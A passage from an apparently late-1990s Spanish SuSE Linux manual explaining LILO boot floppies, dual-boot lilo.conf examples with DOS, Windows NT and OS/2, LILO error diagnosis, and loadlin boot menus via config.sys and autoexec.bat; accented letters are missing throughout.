kernel y opcin de parmetros y con las dems prestaciones de LILO, se
genera copiando toda la maquinaria de arranque de LILO al disquete (ver
apartado 4.3). Para ello el disquete necesita un sistema de ficheros, que para
este caso, el mejor es minix.
Instalando solo un kernel en el disquete y renunciando al mensaje de saludo,
YaST se puede encargar de todo ello seleccionando la opcin de sistema
`Administracin de sistema', `Kernel y configurar arranque',
`Crear un disco de arranque'. Use un disquete preformateado y libre
de errores y siga las instrucciones en pantalla.

El kernel debe encontrarse en /boot/vmlinuz, de lo contrario YaST no


lo encuentra para los tradicionales lo busca tambin /vmlinuz : : :

Para crear el disquete manualmente, se hace lo siguiente:

 Generar un sistema de ficheros minix en un disquete vaco con compro-


bacin y en caso de xito montarlo p. ej. bajo /mnt:
tierra: # /sbin/mkfs.minix -c /dev/fd0 1440
tierra: # /bin/mount /dev/fd0 /mnt

 Copiar los ficheros del kernel y el fichero /boot/boot.b de LILO a /mnt


(o sea en el disquete).
 Opcional: Generar un fichero /mnt/message para un mensaje de saludo.
 Generar en /mnt un fichero lilo.conf propio como figura en el
Fichero 4.6.1, Pgina 121. Se debe apuntar la particin raz real (cambiar
Su_Dispositivo_Raz):
 Instalar LILO mediante el lilo.conf descrito:
tierra: # /sbin/lilo -C /mnt/lilo.conf

14 Este es el caso normal

120
4.7. Ejemplos de Configuraciones

# LILO fichero de configuracin disquete de arranque


# Start LILO global Section
boot=/dev/fd0 # Destino de instalacin:
install=/mnt/boot.b # Disquetera. LILO y el
map=/mnt/map # fichero-Map al disquete!
message=/mnt/message # opcional
prompt
timeout=100 # Espera en el prompt: 10 s
vga = normal #
# End LILO global section
#
# Linux bootable partition config begins
image = /mnt/vmlinuz # default
root = /dev/Su_Dispositivo_Raz # aqu particin raz!
label = linux
# Linux bootable partition config ends
#
# Aqu apartados de sistema para ms kernel:

Fichero 4.6.1: lilo.conf para disquete de arranque

 Desmontar el disquete y listo!


tierra: # /bin/umount /mnt

 No olvide probar si el disquete realmente funciona :-)

4.7 Ejemplos de Configuraciones


Si el nuevo Linux es el nico sistema operativo en la computadora, no hace
falta hacer nada ms, ya que YaST ha hecho todo lo necesario durante la
instalacin.
Ms adelante se muestran un par de ejemplos para computadoras con var-
ios sistemas operativos que encuentran su complemento en las configura-
ciones localizadas en /usr/doc/howto/en/mini/Linux+*.gz, hechas por
algunos amigos de Linux, que documentan las configuraciones de sus propias
computadoras con varios sistemas operativos.

4.7.1 DOS/Windows 95/98 y Linux


Requisito: DOS/Windows 95/98 y Linux deben tener cada uno una particin
primaria por debajo del lmite de los 1024 cilindros (ver apartado 4.3).
Una configuracin adecuada para este caso ya fue mencionada en el
Fichero 4.4.1. Solamente se adaptan los parmetros de las lneas root,image
y other y el prrafo sobre Linux.old se deja si no hay un segundo kernel
(antiguo). LILO se instala en el MBR.
Conviene guardar /etc/lilo.conf y un disquete de arranque en un lugar
seguro, ya que es justamente Windows 95/98 el que tiene una cierta tendencia
a eliminar los MBR ajenos. Si sucede esto y se puede arrancar Linux
despus con un disquete de arranque, el problema se resuelve con el sencillo
comando

121
4. Arrancar y gestor de arranque

tierra: # /sbin/lilo

4.7.2 Windows NT y Linux en un disco duro


1. Posibilidad: Uso del Gestor de arranque de NT. Este es capaz de iniciar
sectores de arranque y sus imgenes. Con los siguientes pasos la coexis-
tencia de Linux y Windows NT se hace posible:
 Instalacin de Windows NT.
 Preparar un medio (particin de disco o disquete sin errores) sobre el
cual Linux pueda escribir y NT pueda leer, p. ej. FAT.
 Instalar Linux como habitual (aqu suponemos /dev/sda3 como
particin raz de Linux) y despus montar el medio con FAT (p. ej.
en /dosa); respecto al proceso de montar unidades ver el aparta-
do 19.11.2, Pgina 429.Cuidado: No usar las opciones de mount
conv=auto o conv=text!
 Instalar LILO en la particin raz (o sea /dev/sda3) no en el MBR
(/dev/sda)! Se sigue teniendo la posibilidad de configurar LILO de
modo que se pueda seleccionar entre varias imgenes de kernel. Como
ejemplo para lilo.conf, consultar el Fichero 4.7.1, Pgina 122.

# LILO fichero de configuracin: Arrancar desde


# particin raz /dev/sda3
# Start LILO global Section
boot=/dev/sda3 # destino de instalacin
backup=/boot/boot.sda3.980428 # respaldo sector arranque
prompt
timeout=100 # Espera al prompt: 10 s
vga = normal # force sane state
# End LILO global section
# Linux bootable partition config begins
image = /boot/vmlinuz # default image to boot
root = /dev/sda3 # aqu la particin raz!
label = Linux
# Linux bootable partition config ends

Fichero 4.7.1: lilo.conf para arrancar una particin raz

 Copiar el sector de arranque de LILO a un fichero en el medio FAT,


p. ej.
tierra: # dd if=/dev/sda3 bs=512 count=1 of=/dosen/bootsec.lin

Evidentemente hay que repetir este paso y tambin el siguiente de-


spus de cada actualizacin del kernel!
 Arrancar NT. Copiar bootsek.lin desde el medio FAT al directorio
raz de la unidad de sistema de NT (si no se encuentra ya en ste).
 Aadir en el fichero boot.ini (definicin de atributos) al final la
lnea:
c:\bootsek.lin="Linux"

122
4.7. Ejemplos de Configuraciones

 Si todo va bien, debe existir una nueva opcin en el gestor de arranque


de NT cuando se arranque la computadora la prxima vez.
2. Posibilidad, (desafortunadamente no funciona siempre): Instalar LILO
en el MBR y hacer como si fuera DOS (ver el ejemplo anterior); pero
cuidado, se trata de algo que aparentemente ha dejado de funcionar con
versiones ms recientes de NT. Parece que solo quiere arrancar cuando
encuentra unas secuencias especiales (y no documentadas) en el MBR, de
las que LILO no sabe nada :-(

Windows NT (3.5* y 4.0) no reconoce los tipos de particin 82 y 83 que


usa Linux! Se debe vigilar que ningn programa de NT repare la tabla
de particin en este sentido: se pueden perder datos! Lo mejor es mantener
siempre un par de respaldos de seguridad vlidos del MBR de LILO.

4.7.3 OS/2 y Linux

1. Posibilidad: Se usa el gestor de arranque de OS/2. Este es capaz de


arrancar cualquier particin primaria o lgica dentro del lmite de los 1024
cilindros. La responsabilidad de hacerlo realmente arrancable est en
manos del usuario. Se configura el gestor de arranque (ingl. bootmanager)
con el fdisk de OS/2.
Preparacin de Linux: Configurar el arranque a una particin primaria
de Linux (normalmente la particin raz) con LILO. La configuracin til
para esto es otra vez lilo.conf como en el Fichero 4.7.1, Pgina 122.
Pero antes hay que considerar algo ms : : : :
Preparacin de OS/2: OS/2 no se queda con la manera convencional
de anotar informacin sobre las particiones (en los MBR de los discos
duros y en los sectores de particin) sino que usa el espacio libre en estos
sectores para guardar informacin adicional. Si sta es inconsistente, el
fdisk de OS/2 ve la tabla de particiones como daada y no concede los
servicios del gestor de arranque. Los programas fdisk de otros sistemas
operativos no suelen guardar informacin adicional, as que la aparicin
de conflictos adicionales est programada.
Por eso antes de la instalar Linux se carga OS/2 (el sistema base de
instalacin es suficiente) y se generan las particiones Linux, como mnimo
las lgicas, con el fdisk de OS/2. Esto crea en principio particiones
adicionales de tipo OS/2 que pueden resultar bastante molestas.
Solucin: Cargar inmediatamente despus el sistema de instalacin de
Linux (o tambin el sistema de rescate) desde el CD SuSE Linux y cam-
biar con el fdisk de Linux el tipo de particin a 83 (Linux native). As
OS/2 pasar a ignorar correctamente estas particiones.
2. Posibilidad: Se usa LILO como gestor de arranque principal en una
particin primaria del primer disco duro15. Se trata de un caso especial
del ejemplo siguiente en el cual aparece tambin DOS.
15
Peor sera usar el MBR, porque en cada cambio de particin con un fdisk ajeno ste graba el
MBR de nuevo y podra as borrar LILO.

123
4. Arrancar y gestor de arranque

4.7.4 DOS, OS/2 y Linux

1. Posibilidad: Si ya est usando el OS/2 Bootmanager (gestor de arranque


OS/2) para DOS y OS/2 y lo quiere seguir usando, basta con incorporar
Linux en el men de arranque tal como se ha explicado en el ejemplo
anterior.
2. Posibilidad: Se usa LILO como gestor de arranque principal en una
particin primaria del primer disco duro.
El siguiente ejemplo para lilo.conf (Fichero 4.7.2, Pgina 125) es ms
complicado y supone que las particiones de arranque de DOS (primario)
y de Linux (primaria) se encuentran en el primer disco y la de OS/2
(lgica) en el segundo todas dentro de los primeros 1024 cilindros.
OS/2 se encuentra en el segundo disco por lo que se usa el loader especial
/boot/os2_d.b en lugar de /boot/chain.b.
No importa si el cdigo del MBR es de MS-DOS o de OS/2. En la tabla
de particiones hay que activar con el programa fdisk la particin de LILO
/dev/sda4.

4.8 Problemas con LILO

Algunas reglas

Para comenzar, un par de reglas con las que se evitan desde un princi-
pio muchos problemas con LILO (tomadas del libro para usuarios de LILO
[Alm96]):

 Que no cunda el pnico! Antes de intentar arreglar el fallo se debe tratar


de definirlo bien, encontrar su causa y despus comprobar la diagnosis.
 Mantener siempre al alcance un disquete de arranque actual y comproba-
do.
Desde la versin 5.0, SuSE Linux contiene en el disquete de arranque y
en el CD de instalacin un sistema Linux autnomo (sistema de rescate,
apartado 16.4), con el cual se puede acceder a todas las particiones de
Linux. Tambin hay all bastantes herramientas para resolver problemas
de prdida de acceso a los discos
 Consultar la documentacin, especialmente cuando la computadora hace
algo que aparentemente no debera hacer.
 Antes de cualquier llamada al instalador map (/sbin/lilo), comprobar
cuidadosamente el fichero de configuracin /etc/lilo.conf.
 Ejecutar /sbin/lilo cada vez que se cambie algn componente de la
maquinaria de arranque de LILO o cuando se haya modificado el fichero
de configuracin de LILO/etc/lilo.conf.
 Hace falta un cuidado especial teniendo varios discos o uno grande: con-
sidere el lmite de 1024 cilindros!
 Hacer pruebas con y sin la opcin linear (generalmente va mejor "sin").

124
4.8. Problemas con LILO

# LILO fichero de configuracin


# Start LILO global Section
boot = /dev/sda4 # LILO en particin raz de Linux
backup = /boot/boot.sda4.970428
message = /boot/message # Mensaje de saludo
prompt
delay = 100
vga = normal
#
# Linux bootable partition config begins
image = /boot/vmlinuz
label = linux
root = /dev/sda4
# Linux bootable partition config ends
#
# OS/2 bootable partition config begins
other = /dev/sdb5
table = /dev/sdb
label = os2
loader = /boot/os2_d.b
# New for LILO v20 and newer: interchange disk drives:
map-drive = 0x80 # first hd: BIOS number 0x80
to = 0x81 # second hd: BIOS number 0x81
map-drive = 0x81
to = 0x80
# OS/2 bootable partition config ends
#
# DOS bootable partition config begins
other = /dev/sda1
table = /dev/sda
label = dos
# DOS bootable partition config ends

Fichero 4.7.2: LILO con DOS, OS/2 y Linux en dos discos duros

4.8.1 Diagnstico de errores: Mensajes de inicio de LILO


Lo que aqu se refleja es bsicamente el apartado 5.2.1 de [Alm96].
Cuando LILO se carga, muestra en pantalla la palabra `LILO'. La aparicin
de cada letra indica la terminacin de una determinada fase, por lo tanto,
las letras que ya han salido en pantalla indican en qu momento apareci el
problema.

(nada) No se carg ninguna parte de LILO. Puede que LILO no est instala-
do o no se haya iniciado la particin con el sector de arranque de LILO.
`L' error : : : Se carg e inici la primera fase pero no fue capaz de cargar
la segunda (/boot/boot.b). Esto generalmente indica un error fsico del
medio de arranque (p. ej. disquete) o una geometra de disco errnea.
`LI' Se carg la segunda fase de LILO pero no pudo ser arrancada. Esto
ocurre por una geometra falsa de disco o por haber movido /boot/boot.
b sin reinstalacin de LILO.

125
4. Arrancar y gestor de arranque

`LIL' Arranc la segunda fase de LILO, pero sta no pudo cargar los datos
necesarios (punteros, etc.) del fichero map. Se trata de un error tpica-
mente provocado por un fallo fsico del medio de arranque.
`LIL?' La segunda fase de LILO se carg en un rea de memoria falsa. Esto
lo provoca generalmente un pequeo fallo de la geometra del disco o por
haber movido /boot/boot.b sin reinstalacin de LILO.
`LIL-' Los valores en el fichero map no son vlidos. El error es general-
mente provocado por un fallo en la geometra del disco o por haber movi-
do /boot/boot.b sin reinstalacin de LILO.
`LILO' Todas las partes de LILO fueron cargadas con xito.
El motivo ms frecuente de los fallos de geometra no son defectos fsicos o
tablas de particin no vlidas, sino fallos durante la instalacin de LILO:
 Negligencia respecto al lmite de 1024 cilindros (ver prximo prrafo);
 Intento fallido de arrancar con LILO desde una particin lgica.

4.8.2 El lmite de 1024 cilindros


Como ya se ha mencionado varias veces (apartado 4.3), toda la maquinaria
de arranque de LILO, o sea todos los datos que LILO necesita para arrancar,
deben ser accesibles usando solamente las rutinas de la BIOS. Las zonas de
disco aptas para ello ya fueron mencionadas y sern llamadas de aqu en
adelante zona permitida.
Cules son entonces las posibilidades que se quedan con esta restriccin?
En realidad quedan muchas, ya que se trata solo de la maquinaria de arranque
que cae bajo esta restriccin y no hay ninguna obligacin de ponerla en la
particin raz. Incluso existe la posibilidad (que conlleva un cierto peligro)
de albergar todos los ficheros del manejo de arranque en particiones de otros
sistemas operativos cuando solo Linux tiene acceso de lectura y escritura
sobre ellos.

!Lo que no se puede hacer es instalar el sector de arranque de LILO sobre


una particin ajena, porque con esto generalmente se rompe el sistema de
fichero del otro sistema operativo

 En todo caso la solucin ms limpia es la de generar una particin pri-


maria de Linux completamente dentro de la zona permitida e instalar all
todos los ficheros de LILO (incluido el sector de arranque). Hasta ahora
esta particin ha sido generalmente la particin raz de Linux.
Desde la versin 6.0 de SuSE Linux, YaST genera una particin (/boot)
aparte, que a penas tiene suficiente tamao para albergar los siguientes
ficheros:
boot.b, map, message,
los kernel de Linux, que LILO debe arrancar.
Esto significa que unos pocos megabytes son suficientes. Para todo el
resto del sistema ya no hay ninguna restriccin respecto a su ubicacin
en el (los) disco(s). Una vez que el kernel est en marcha tiene acceso
ilimitado a todos los discos en el sistema.

126
4.8. Problemas con LILO

Pero qu hacer cuando ya no hay espacio para una particin as? Si no se


quiere reparticionar el disco, ni se quiere pasar a SCSI y tampoco a una BIOS
moderna, siguen existiendo dos posibilidades provisionales:
 En lugar de instalar LILO en el disco duro se usa en un disquete o, si tiene
tambin MS-DOS instalado, puede usar loadlin para arrancar Linux.
 Albergar toda la maquinaria de arranque de LILO en una particin no
Linux, que se encuentra completamente en la zona permitida y sobre
la cual Linux puede escribir (p. ej. una particin con FAT/VFAT DOS).
Evidentemente no se puede poner all el sector de arranque de LILO.
Esto deja como posibilidades el comienzo de una particin extendida
en el primer disco si est por delante del cilindro 1024 o el MBR.
Supongamos que la particin en cuestin est montada bajo /mnt. LILO
debe ponerse en el MBR (p. ej. /dev/hda) y adems arrancar DOS desde
/dev/hda1. En este caso hay que proceder de la siguiente manera:
Generar un directorio nuevo, p. ej. /mnt/LINUX y copiar los ficheros
mencionados de LILO desde /boot hacia all: boot.b, map,
message, tal como los chain-loader para los otros sistemas opera-
tivos que estn instalados (generalmente chain.b) y los kernel de
Linux, que LILO debe arrancar.
Generar un fichero /mnt/LINUX/lilo.cfg, en el que todos los path
apuntan a /mnt/LINUX (Fichero 4.8.1, Pgina 128):
Instalar LILO con este lilo.cfg:
tierra: # /sbin/lilo -C /mnt/LINUX/lilo.cfg
Despus de esto LILO debera funcionar. Arranque MS-DOS y proteja
los ficheros de LILO lo mejor que pueda contra accesos de escritura.
(Ojo! Cualquier acceso de escritura y LILO deja de funcionar.) Como
mnimo se activan los atributos de DOS sistema y escondido (system
and hidden) de todos los ficheros en X:\LINUX. X: indica aqu la
unidad MS-DOS que se mont bajo /mnt.
Para terminar queremos indicar dos HOWTOs al respecto, que son LILO.gz
y Large-Disk.gz y se encuentran en /usr/doc/howto/en/mini/.

4.8.3 Problemas especiales de arranque con kernel a partir de 2.0


Arrancando LILO igual si es desde una disquetera o desde el disco duro
pueden aparecer problemas despus de haber cargado un kernel grande (p. ej.
el kernel de instalacin de SuSE) :-(
Aunque se puede elegir un kernel en el prompt de LILO y el kernel se carga
(se muestran un par de puntitos), el inicio del kernel no funciona. Esto quiere
decir que el sistema se cuelga con diferentes reacciones antes de que aparezca
el mensaje "uncompressing Linux".
Posibles reacciones o mensajes:
 La computadora se inicia de nuevo.
 La computadora simplemente se para.
 "crc-error"

127
4. Arrancar y gestor de arranque

# LILO Fichero de configuracin en directorio ajeno


# Start LILO global Section
boot=/dev/hda # destino instalacin
backup=/mnt/LINUX/hda.xxxx # respaldo MBR antiguo
install=/mnt/LINUX/boot.b # LILO y el fichero map
map=/mnt/LINUX/map # estn en /mnt/LINUX!
message=/mnt/LINUX/message # opcional
prompt
timeout=100 # Espera en el prompt: 10 s
vga = normal #
# End LILO global section
#
# Linux bootable partition config begins
image = /mnt/LINUX/Primer_Kernel # default
root = /dev/Su_Dispositivo_Raz # Particin root de aqu!
label = linux
# Linux bootable partition config ends
#
# Aqu prrafos de sistema para los kernel adicionales:
#
# Fin Linux
# DOS bootable partition config begins
other = /dev/hda1 # Unidad de sistema de MSDOS
label = dos
loader = /mnt/LINUX/chain.b
table = /dev/hda
# DOS bootable partition config ends

Fichero 4.8.1: lilo.cfg para particin ajena

 "no free space"


 "Error 0x00"
 "Error 0x01"
 "incomplete literal tree"
Despus de esto, en ocasiones aparece otro acceso a las disqueteras, pero la
computadora queda colgada.
El motivo de ello es una combinacin de un kernel grande, LILO y hardware
defectuoso. Haciendo una aproximacin, alrededor del uno por ciento de las
computadoras reacciona as. Sospechamos que por culpa de un error en la
BIOS hay problemas con un acceso rpido a la memoria. El problema no
ocurre cuando:
 Linux ha sido arrancado con Loadlin (apartado 4.9),
 se copia un kernel p. ej. con
tierra: # dd if=/boot/vmlinuz of=/dev/fd0

a un disquete arrancndolo directamente desde all,


 se arranca con LILO un kernel pequeo, que fue generado con
tierra: # make zImage

siendo el kernel de una versin anterior (p. ej. versin 1.2.13).

128
4.9. Configuracin del mecanismo de arranque con loadlin

Con los siguientes ajustes de la BIOS tampoco hay problemas de arrancar:


 Deshabilitar la cache interna (disable)
 DRAM Precharge Wait State a 1 y
 DRAM Wait Burst Timing a 0x3333

Solucin
Primero es necesario poder instalar Linux de alguna forma. Si no se puede
arrancar directamente con loadlin (o con setup.exe) lo mejor es usar un dis-
quete de arranque antiguo con versin 1.2.13. Si no se dispone de l, se han
de cambiar los parmetros de la BIOS.
Despus de una instalacin exitosa aparece la pregunta sobre cmo arrancar
su Linux. Primero arranque con el mismo medio de la instalacin, ya que no
hay problemas con loadlin desde la particin DOS. En caso de un disquete de
arranque, indique como parmetros:
load_ramdisk=0 root=/dev/<particin_raz>
donde <particin_raz> es su particin raz, p. ej. hda1 Despus se debera
generar directamente un kernel propio, ya que LILO lo puede arrancar sin
problemas.

4.9 Configuracin del mecanismo de arranque con loadlin


Aqu se presenta un mtodo adicional de arrancar SuSE Linux, usando el
loadlin. Se trata de un programa DOS capaz de arrancar el kernel de Linux
que se encuentra en una particion DOS. loadlin se integra plenamente en un
entorno DOS/Windows 9x y se puede arrancar de manera confortable con el
gestor de arranque de Windows. Como no se graba nada en el MBR lo nico
que Windows ve de Linux es una o varias particiones con identificadores
desconocidos (ingl. IDs). As se minimiza el peligro de efectos colaterales
por la existencia de Linux en la computadora.
El procedimiento que aqu se explica, funciona para Windows 95 y Win-
dows 98 y los fichero de configuracin que se muestran fueron desarrolla-
dos bajo Windows 95, por lo que a partir de ahora solo se menciona a Win-
dows 95.
Usando loadlin hacen falta algunos preparativos y segn las condiciones hay
que modificar tambin algunos ficheros de arranque.
En principio hay dos distintas maneras de activar loadlin: Elegirlo en el
momento de arrancar a travs del men de arranque de Windows o iniciarlo
desde DOS/Windows y de este modo cambiar a Linux.
Ambos mtodos tienen sus ventajas y desventajas:
 El men de arranque evita el desvo por otro sistema operativo para arran-
car Linux.
 Es posible incorporar en un men de arranque configuraciones adicionales
y as construir un mecanismo de arranque universal.
 Es necesario modificar los ficheros de arranque para construir un men de
arranque y tal vez haga falta probar un poco.

129
4. Arrancar y gestor de arranque

 En el prompt de DOS el cambio hacia a Linux es muy simple.


 Bajo Windows 95 se puede hacer la bonita integracin del arranque de
Linux en el entorno grfico lo que permite cambiar a Linux con un doble-
click del mouse sobre un icono. No obstante, se puede montar tambin
bajo Windows 95 un men de arranque ya que ste contiene DOS 7.0.

Si se quiere arrancar Linux directamente despus de encender la computa-


dora, lo mejor es usar un men de arranque. El mtodo de arrancar desde
el prompt de DOS o con el doble-click del mouse se puede usar adicional-
mente para cambiar de DOS/Windows directamente a Linux.
Los mens de arranque y la configuracin de Windows 95 tienen muchas
facetas, as que no entraremos en muchos detalles al respecto.

4.9.1 Ficheros necesarios para loadlin


Lo siguiente hay que hacerlo siempre independientemente de la manera de
arrancar con loadlin (vlido para DOS, Windows 3.x y Windows 95):
1. Lo ms probable es que ya est loadlin instalado (ver apartado 2.6.4,
Pgina 42). Sino, hace falta instalarlo primero desde el CD 1 con setup.
2. Bajo MS-DOS se cambia al directorio c:\loadlin. All hay un fichero
llamado linux.par. En este mismo directorio se genera un fichero, p. ej.
startlin.bat o con el nombre que parezca oportuno. Este fichero debe
contener una lnea como la del Fichero 4.9.1, Pgina 130.

c:\loadlin\loadlin @c:\loadlin\linux.par

Fichero 4.9.1: Ejemplo de un fichero por lotes para arrancar Linux

Ahora se escriben en el fichero linux.par las siguientes lneas como se


indica en el Fichero 4.9.2, Pgina 130.

c:\loadlin\zimage # first value must be


# the filename of the Linux-kernel

root=/dev/xxx # the device which gets mounted as root FS

ro # mount root read-only

Fichero 4.9.2: Ejemplo de un fichero de parmetros para el arranque de Linux

xxx es el nombre de dispositivo de su particin raz (debe haberse apun-


tado este nombre segn el apartado 2.11.2, Pgina 68. Con el fichero
startlin.bat se puede arrancar Linux en cualquier momento desde
DOS. Los ficheros startlin.bat y config.sys usan linux.par,
el cual contiene todos los parmetros necesarios para arrancar Lin-
ux. Es posible introducir o reemplazar parmetros de arranque en
linux.par una vez acostumbrados a trabajar con Linux. Cuando se
haya construido un kernel propio, se copia del sistema de ficheros Linux
a c:\loadlin\zimage y a partir de entonces se trabaja con este nuevo
kernel.

130
4.9. Configuracin del mecanismo de arranque con loadlin

4.9.2 Personalizar mens de arranque


Para personalizar un men de arranque bajo DOS o Windows 3.x se hace lo
siguiente:
1. Primero hay que definir en el fichero c:\config.sys un men de
arranque. Para ello se introduce algo parecido a lo indicado en el
Fichero 4.9.3, Pgina 131.

[Menu]
menuitem=Win, Arrancar Windows...
menuitem=DOS, Arrancar MS-DOS...
menuitem=Linux, Arrancar Linux...
menucolor=15,1
menudefault=Win,5

Fichero 4.9.3: Ejemplo para config.sys (1a parte) para arrancar Linux

Bajo el rtulo [Menu] se definen las opciones del men, su color y el


tiempo de espera (segundos) antes del arranque de la opcin por defecto.
2. A continuacin se escriben los rtulos [Common], [Win], [DOS] y [Lin-
ux]. Bajo Common se anotan los comandos vlidos para todas las op-
ciones y bajo el rtulo de cada opcin se anotan solo los comando vlidos
para dicha opcin. Para ello se usan las lneas que se encuentran en el
config.sys actual; un ejemplo se muestra en el Fichero 4.9.4, Pgi-
na 131.

[Common]
device=c:\dos\himem.sys /testmem:off
device=c:\dos\emm386.exe noems I=E000-F4FF
dos=high,umb
files=30
buffers=10
shell=c:\dos\command.com

[Win]
devicehigh=c:\dos\dblspace.sys /move
devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C

[DOS]
devicehigh=c:\dos\dblspace.sys /move
devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C

[Linux]
shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par

[Common]
rem Queda vaco

Fichero 4.9.4: Ejemplo de config.sys (2a parte) para el arranque de Linux

Ahora se guarda el fichero.

131
4. Arrancar y gestor de arranque

3. A continuacin, abrir el fichero c:\autoexec.bat. En este fichero se


deben apuntar los mismos rtulos y asignarles comandos pero con una
sintaxis un poco diferente. El rtulo elegido en el men de arranque est
en la variable %config%. Se puede escribir, por ejemplo, algo como lo
indicado en el Fichero 4.9.5, Pgina 132.

@echo off

rem Comandos para todas las configuraciones


switches= /f
set comspec=c:\dos\command.com
prompt $p$g
loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys
loadhigh c:\dos\doskey
set temp=c:\temp
loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H
c:\logimouse\mouse.exe

goto %config%

:Win
c:\dos\smartdrv.exe a- b- c+ 2048 1024
path c:.;d:.;c:\windows;c:\dos;c:\util;
win :
c:\dos\smartdrv /C
goto fin

:DOS
path c:.;d:.;c:\dos;c:\util;
goto fin

:fin
echo * Hasta la vista! *

Fichero 4.9.5: Ejemplo de autoexec.bat para el arranque de Linux

4. Arrancando ahora la computadora aparece un men de arranque, el cual


da 5 segundos de tiempo para elegir una opcin; despus de este tiempo,
Windows se arranca automticamente. Si se selecciona `Linux', ste se
arranca y espera que se haga el login.

4.9.3 Iniciar Linux desde Windows

Aqu se explica cmo activar y configurar un icono para Linux, que permite
arrancarlo desde el sistema Windows 95 que est en marcha:

1. Entrar a la carpeta c:\loadlin, marcar el fichero startlin.bat y se-


leccionar en el men de Edicin `Copiar'.
2. Ir a una carpeta o al escritorio segn donde se quiera tener el icono de
acceso a Linux. Pulsar el botn derecho del mouse y seleccionar `Pegar
acceso directo'.

132
4.9. Configuracin del mecanismo de arranque con loadlin

3. Marcar el acceso directo recin creado y pulsar el botn derecho del


mouse. Seleccionar `Propiedades'. Entrar en la ficha `Programa'
y pulsar sobre el botn `Avanzada...'. Marcar la casilla `Modo
MS-DOS' y confirmar con `Aceptar'.
4. Con el botn `Cambiar icono...' se puede elegir un icono diferente
y finalmente dar un nombre adecuado al acceso directo. Listo!
5. Un doble-click sobre el smbolo muestra una pantalla de advertencia in-
dicando que Windows 95 est por entrar en el modo MS-DOS. Si no se
quiere ver la advertencia, se desactiva en las propiedades del acceso di-
recto.

4.9.4 El men de arranque de Windows


As se ajusta el men de arranque de Windows 95:
1. Primero hay que editar el fichero c:\msdos.sys. Para ello hay que hacer
el fichero visible con:
C:> attrib -R -S -H c:\msdos.sys
Es un fichero de texto en el cual hay que aadir un par de lneas para
activar el men de inicio propio de Windows 95. Lo que se encuentra bajo
la etiqueta [Options] debera parecerse a lo indicado en el Fichero 4.9.6,
Pgina 133.

[Options]
BootGUI=0
BootDelay=0
BootMenu=0
Logo=0

Fichero 4.9.6: msdos.sys para el arranque de Linux

El parmetro Logo=0 es opcional y evita que Windows 95 entre al modo


grfico antes de arrancar. Arrancar as es ms rpido y adems se tiene
menos problemas si se usa ms tarde el emulador de DOS.
El parmetro BootGUI=0 hace, que Windows 95 arranque directamente
en modo MS-DOS. Una vez editado el fichero se pone a sus atributos los
valores originales. Para arrancar ahora Windows hay que introducir en el
prompt de DOS:
C:> win
Nuestro fichero de ejemplo c:\autoexec.bat ya lo hace si se ha elegido
Win95 en el men.
2. Ahora se debe definir en el fichero c:\config.sys el propio men de
arranque. Para ello se introduce al comienzo del fichero, por ejemplo el
contenido del Fichero 4.9.7, Pgina 134.
Las opciones del men de arranque se definen bajo el rtulo [Menu] tal
como los segundos de espera y la opcin por defecto.
3. Ms abajo estarn los rtulos [Win95], [DOS], [Linux] y [Common].
Bajo [Common] se apuntan los comandos que deben valer siempre (no
deberan ser muchos para Windows 95) y bajo cada distinto rtulo se

133
4. Arrancar y gestor de arranque

[Menu]
menuitem=Win95, Arrancar Windows 95...
menuitem=DOS, Arrancar MS-DOS...
menuitem=Linux, Arrancar Linux...
menudefault=Win95,5

Fichero 4.9.7: Ejemplo de config.sys (1a parte) para el arranque de Linux


bajo Windows 95

anotan los que solo valen para la opcin en concreto. Para esto se usan
las lneas que se encuentran en el config.sys actual; el ejemplo del
Fichero 4.9.8, Pgina 134 puede servir como idea inicial.

[Win95]
dos=high,umb
device=c:\windows\himem.sys /testmem:off

[DOS]
device=c:\plugplay\drivers\dos\dwcfgmg.sys
dos=high,umb
device=c:\windows\himem.sys /testmem:off
device=c:\windows\emm386.exe noems I=B000-B7FF
devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM

[Linux]
shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par

[Common]
accdate=C+ D+ H+
switches= /F buffers=20

Fichero 4.9.8: Ejemplo de config.sys (2a parte) para el arranque de Linux


bajo Windows 95

Ahora se guarda el fichero.


4. A continuacin, abrir el fichero c:\autoexec.bat. En ste se deben
apuntar los mismos rtulos y asignar comandos pero con una sintaxis
un poco diferente. El rtulo elegido en el men de arranque est en la
variable %config%. Se puede escribir, por ejemplo, algo como lo indicado
en el Fichero 4.9.9, Pgina 135.
5. Arrancando ahora la computadora aparece el propio men de arranque y
se tiene 5 segundos de tiempo para elegir una opcin. Despus de este
lapso de tiempo Windows 95 arranca automticamente. Si se selecciona
`Linux', ste arranca y espera que se haga el login.

134
4.9. Configuracin del mecanismo de arranque con loadlin

@echo off
loadhigh keyb gr,,c:\windows\command\keyboard.sys
goto %config%

:Win95
win
goto fin

:DOS
path c:.;d:.;c:\windows\command;c:\util;
loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x
loadhigh c:\windows\command\doskey
c:\windows\command\mouse.exe
goto fin

:fin
echo * Y ahora qu? *

Fichero 4.9.9: Ejemplo de autoexec.bat para el arranque de Linux bajo


Windows 95

135
4. Arrancar y gestor de arranque

136
Captulo 5
Porttiles con tarjetas PCMCIA

Introduccin
Linux soporta ya una amplia gama de tarjetas PCMCIA, lo que per-
mite usarlas en casi todos los porttiles que pueden ejecutar Linux. En-
tre las tarjetas PCMCIA soportadas estn todas aquellas de gran di-
fusin en el mercado como p. ej. las que usan chips de las marcas
Intel, Cirrus, Vadem, VLSI, Ricoh y Databook. Tambin se sopor-
tan las tarjetas especiales de los porttiles de IBM y Toshiba e inclu-
so las tarjetas PCMCIA disponibles para ordenadores de sobremesa de-
beran funcionar. La documentacin sobre PCMCIA (paquete pcmcia,
/usr/doc/packages/pcmcia/SUPPORTED.CARDS) contiene una lista ac-
tualizada de las tarjetas soportadas.
La importancia del soporte de tarjetas PCMCIA para la primera instalacin
se reduce a los siguientes casos:
 Instalacin va FTP o NFS con una tarjeta de red PCMCIA.
 Instalacin va CD-ROM con el lector CD-ROM conectado a travs de
una tarjeta PCMCIA.
 Instalacin sobre un disco duro SCSI, conectado a una controladora SCSI
del tipo PCMCIA.
 Instalacin desde un lector CD-ROM SCSI, conectado a una controladora
SCSI del tipo PCMCIA.
